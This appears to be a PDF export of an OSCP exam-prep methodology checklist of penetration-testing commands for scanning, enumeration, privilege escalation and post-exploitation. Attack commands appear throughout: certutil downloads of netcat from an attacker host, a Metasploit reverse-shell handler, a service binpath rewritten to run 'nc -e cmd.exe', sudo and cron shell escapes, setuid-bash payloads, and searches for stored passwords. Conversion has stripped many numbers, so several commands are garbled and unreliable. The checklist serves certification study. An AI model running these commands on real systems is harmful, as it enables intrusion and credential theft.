OSCP Methodology - Dropbox Paper
OSCP Methodology - Dropbox Paper
OSCP Methodology
Introduction
About
The checklist aim to assist OSCP students with a baseline methodology for the labs and exam environments.
Checks
Scanning
Enumeration
Exploitation
Privilege Escalation
Flags
Post Exploitation
Command Description
python -m SimpleHTTPServer Transfer files using Certutil. This has been my rock
during the OSCP challenge. Host a webserver on your
certutil.exe -urlcache -split -f box, I’ve used python webserver.
http:// /EX.exe http://carnal wnage.attackresearch.com/ / /cert
util-for-delivery-of-files.html
certutil.exe -urlcache -split -f
http:// /ipsec.sh accesschk.txt
certutil.exe -urlcache -split -f
http:// /icacls.exe icacls.exe
certutil.exe -urlcache -split -f
http:// /nc.exe nc.exe
Within metasploit:
use exploit/multi/handler
set payload sho/x /shell/reverse_tcp
set lhost
set lport
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 1/15
3/6/2021 OSCP Methodology – Dropbox Paper
Scanning
TCP
UDP
Other
TCP
Command Description
nmap -Pn -v -sS -A -T XXIPXXX Run standard nmap scan with services and
timing set.
nmap -Pn -sS --stats-every m --max-retries --max-scan- Run full nmap scan for all ports and save
delay --defeat-rst-ratelimit -T -p - -oA results in folder. Note this scan is time
/root/Documents/XXXX XXIPXXX consuming.
UDP
Command Description
nmap -sU -sV -p- XXIPXXX Run standard nmap UDP scan with services
detection.
nmap -Pn --top-ports -sU --stats-every m --max-retries Run nmap UDP scan for top ports and save
-T -oA /root/Documents/XXXX XXIPXXX results in folder.
Other
Command Description
Enumeration
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 2/15
3/6/2021 OSCP Methodology – Dropbox Paper
21 - FTP
80/8080 - HTTP/S
22 - SSH
445/139/135 - SMB
161 - SNMP
3306 - MySQL
1560 - ORACLE
111/139/334 - RPC
Hausec checklist
21 - FTP
Command Description
80/8080 - HTTP/S
22 - SSH
d Description
445/139/135 - SMB
Command Description
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 3/15
3/6/2021 OSCP Methodology – Dropbox Paper
161 - SNMP
Command Description
3306 - MySQL
Command Description
nmap -sV -Pn -vv IP -p --script mysql-audit,mysql- Nmap enumeration for MySQL.
databases,mysql-dump-hashes,mysql-empty-password,mysql-
enum,mysql-info,mysql-query,mysql-users,mysql-
variables,mysql-vuln-cve -
https://infamoussyn.wordpress.com/ / / /gaining-a- Brilliant guide is here. Too long to post.
root-shell-using-mysql-user-defined-functions-and-setuid-
binaries/
1521/1560 - ORACLE
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 4/15
3/6/2021 OSCP Methodology – Dropbox Paper
Command Description
tnscmd g version -h IP E
numerate oracle TNS.
nmap --script oracle-sid-brute IP Brute force user accounts and SID.
nmap --script oracle-brute IP Check for default credentials.
https://github.com/fuzzdb-
project/fuzzdb/tree/master/wordlists-user-
passwd/oracle
111/139/334 - RPC
Command Description
http://www.tutorialspoint.com/unix_comma
nds/rpcinfo.htm
Hausec checklist
Command Description
Exploitation
If you’ve performed proper enumeration you should be able to find exploits using searchsploit and exploitdb.
Command Description
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 5/15
3/6/2021 OSCP Methodology – Dropbox Paper
https://pen-
testing.sans.org/blog/ / / /escaping-
restricted-linux-shells
Exploit Template
Exploit used
Source
Modifications required
Privilege Escalation
The below guides will assist you in performing privilege escalation. Always note that you need to follow the template for
exploit if you use any exploit. Train yourself in the habit of documenting your steps.
Linux
Command Description
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 6/15
3/6/2021 OSCP Methodology – Dropbox Paper
Nmap example
Nmap: nmap --interactive
nmap !sh
https://www.pentestpartners.com/security-
blog/exploiting-suid-executables/
. cat ~/.bash_history Search and grep for keywords in all files.
. cd ~
. grep -Eir "password|secret|sudo|<username>"
* | less
. cd /etc
. grep -Eir "password|secret|sudo|<username>"
* | less
. cd /home
. grep -Eir "password|secret|sudo|<username>"
* | less
. cd /var/www
. grep -Eir "password|secret|sudo|<username>"
* | less
. find . -type f | xargs grep <SEARCHTERM>
sudo -l Sudo shell escapes.
sudo find /bin -name nano -exec /bin/sh \; . Notice the list of programs that can run via sudo
. Loof for any of these:
sudo awk 'BEGIN system "/bin/sh" ' find
awk
echo "os.execute '/bin/sh' " shell.nse && sudo
nmap
nmap --script shell.nse
vim
If you have any of those proceed to exploit.
sudo vim -c '!sh'
. cat /etc/exports Exploit misconfigured vulnerable NFS.
. If “no_root_squash” option is defined for the http://www.hackingarticles.in/linux-privilege-escalation-
“/tmp” export (or another export), use this using-misconfigured-nfs/
method
Exploitation
Kali VM
. Open command prompt and type: showmount -
e Linux VM IP Address
. In command prompt type: mkdir /tmp/
. In command prompt type: mount -o rw,vers
Linux VM IP Address :/tmp /tmp/
In command prompt type: echo 'int main
setgid ; setuid ; system "/bin/bash" ; return
; ' /tmp/ /x.c
. In command prompt type: gcc /tmp/ /x.c -o
/tmp/ /x
. In command prompt type: chmod s /tmp/ /x
Linux VM
. In command prompt type: /tmp/x
. In command prompt type: id
s -aRl /etc/cron* | awk ' ~ /w. /' /dev/null Cron path
cron.d Use this if /etc/crontab has a PATH you have write to
cron.daily
cron.deny
cron.hourly
cron.monthly
cron.weekly
crontab
Linux VM
. In command prompt type: cat /etc/crontab
. From the output, notice the value of the
“PATH” variable
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 7/15
3/6/2021 OSCP Methodology – Dropbox Paper
Exploitation
Linux VM
. In command prompt type: echo 'cp /bin/bash
/tmp/bash; chmod +s /tmp/bash' >
/home/user/overwrite.sh
. In command prompt type: chmod +x
/home/user/overwrite.sh
. Wait 1 minute for the Bash script to execute.
. In command prompt type: /tmp/bash -p
. In command prompt type: id
Linux VM Cron Tar wildcard
. In command prompt type: cat /etc/crontab Use this if /etc/crontab has a tar command or other
. From the output, notice the script command that has a wildcard
“/usr/local/bin/compress.sh”
. In command prompt type: cat
/usr/local/bin/compress.sh
. From the output, notice the wildcard (*) used
by ‘tar’.
Add checkpoint variables to tar:
. echo 'cp /bin/bash /tmp/bash; chmod +s
/tmp/bash' > /home/user/runme.sh
. touch /home/user/--checkpoint=1
. touch /home/user/--checkpoint-
action=exec=sh\ runme.sh
. Wait for script to execute
. /tmp/bash -p
. id
. echo 'cp /bin/bash /tmp/bash; chmod +s Cron file overwrite
/tmp/bash' >> /usr/local/bin/overwrite.sh Use this if /etc/crontab has a file that you have write
. Wait for script to execute permission to
. /tmp/bash -p
. id
dpkg -l | grep -i exim is version is below Vulnerable exim.
?
https://github.com/HackerFantastic/Public/blob/master
Is exim compiled with perl support? /exploits/cve- - .sh
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 8/15
3/6/2021 OSCP Methodology – Dropbox Paper
ls -la ~/.ssh/
ls -la
ps aux | grep root View privileged services e.g. root that you might be able
to exploit.
ps aux | awk ' print '|xargs -r ls -la /dev/null
|awk '!x '
https://sushant .gitbooks.io/total-oscp- I followed these guides when it failed.
guide/privilege_escalation_-_linux.html
Windows
Command Description
securePassword ConvertTo-SecureString
password -AsPlainText -Force
credential New-Object
System.Management.Automation.PSCredential
username, securePassword
https://github.com/breenmachine/RottenPotatoNG
wmic service get Check to exploit trusted service paths.
name,displayname,pathname,startmode |findstr . List all unquoted service paths.
/i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i - Check folder permissions on results. Look for M
/v """ modify or W write for current user.
wmic service get
name,displayname,startmode,pathname | findstr
/i /v "C:\Windows\\" |findstr /i /v """
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 9/15
3/6/2021 OSCP Methodology – Dropbox Paper
msfvenom -p windows/adduser
USER rottenadmin PASS P@ssword ! -f msi -
o rotten.msi
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 10/15
3/6/2021 OSCP Methodology – Dropbox Paper
net start
// Driver madness
DRIVERQUERY
// WMIC fun Win / -- XP requires admin
wmic /?
# Use wmic_info script!
// WMIC: check patch level
wmic qfe get
Caption,Description,HotFixID,InstalledOn
// Search pathces for given patch
wmic qfe get
Caption,Description,HotFixID,InstalledOn | findstr
/C:"KB.." /C:"KB.."
// AlwaysInstallElevated fun
reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows
\Installer\AlwaysInstallElevated
reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows
\Installer\AlwaysInstallElevated
// Other commands to run to hopefully get what
we need
dir /s *pass* *cred* *vnc* *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
// Service permissions
sc query
sc qc service_name
// Accesschk stuff
accesschk.exe /accepteula always do this
first!!!!!
accesschk.exe -ucqv service_name requires
sysinternals accesschk!
accesschk.exe -uwcqv "Authenticated Users" *
won't yield anything on Win
accesschk.exe -ucqv service_name
// Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
// Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
//Find services with unquoted service paths:
wmic service get
name,displayname,pathname,startmode |findstr
/i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i
/v """
// Binary planting
sc config service_name binpath "C:\nc.exe -nv
RHOST RPORT -e
C:\WINDOWS\System \cmd.exe"
sc config service_name obj ".\LocalSystem"
password ""
sc qc service_name to verify!
net start service_name
Pre-compiled windows exploits.
http://www.bhafsec.com/wiki/index.php/Windo
ws_Privilege_Escalation
https://github.com/AusJock/Privilege-
Escalation/tree/master/Windows
https://github.com/abatchy /WindowsExploits
https://sushant .gitbooks.io/total-oscp- Some brilliant resources if the above fails.
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 11/15
3/6/2021 OSCP Methodology – Dropbox Paper
guide/privilege_escalation_windows.html
http://hackingandsecurity.blogspot.com/ /
/oscp-windows-priviledge-escalation.html
https://www.sploitspren.com/ - - -
Windows-Privilege-Escalation-Guide/
Dump
Local
Document the steps used to escalate to local access. Most instances you will be escalating to Root/Admin and not another
local user.
Root/Admin
Document the steps used to escalate to root access. For exploits make use of the exploit template.
Flags
Proof.txt
ifconfig/ipconfig
whoami/id
The below commands will list all .txt files to identify the flags. Used in several CTFs and useful for the OSCP challenge.
Windows Linux
for /R ".\" A in *.txt do echo ~fA ~zA | findstr /v "echo “ind . -type f -name "*.txt"
Each local.txt and proof.txt found must be shown in a screenshot that includes the contents of the file, as well as the IP
address of the target by using ipconfig or ifconfig. An example of this is shown below:
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 12/15
3/6/2021 OSCP Methodology – Dropbox Paper
Proof
Paste your proof here.
Post Exploitation
Use this for the labs. Note that the machines in the exam is not connected and I could only advise to spend more time on
enumeration and exploitation than post exploitation.
Linux
File Description
/etc/resolv.conf Contains the current name servers DNS for the system. This is a globally readable
file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd Message of the Day.
Windows
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 13/15
3/6/2021 OSCP Methodology – Dropbox Paper
File Description
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 14/15
3/6/2021 OSCP Methodology – Dropbox Paper
@ Label "Last
Name";Expression _.Surname ,
@ Label "Display
Name";Expression _.DisplayName ,
@ Label "Job Title";Expression
_.Title ,
@ Label "Company";Expression
_.Company ,
@ Label
"Department";Expression _.Department ,
@ Label "Office";Expression
_.OfficeName ,
@ Label "Phone";Expression
_.telephoneNumber ,
@ Label "Email";Expression
_.Mail
Windows guide for post exploitation.
http://hackingandsecurity.blogspot.com/
/ /oscp-windows-post-
exploitation.html
https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q 15/15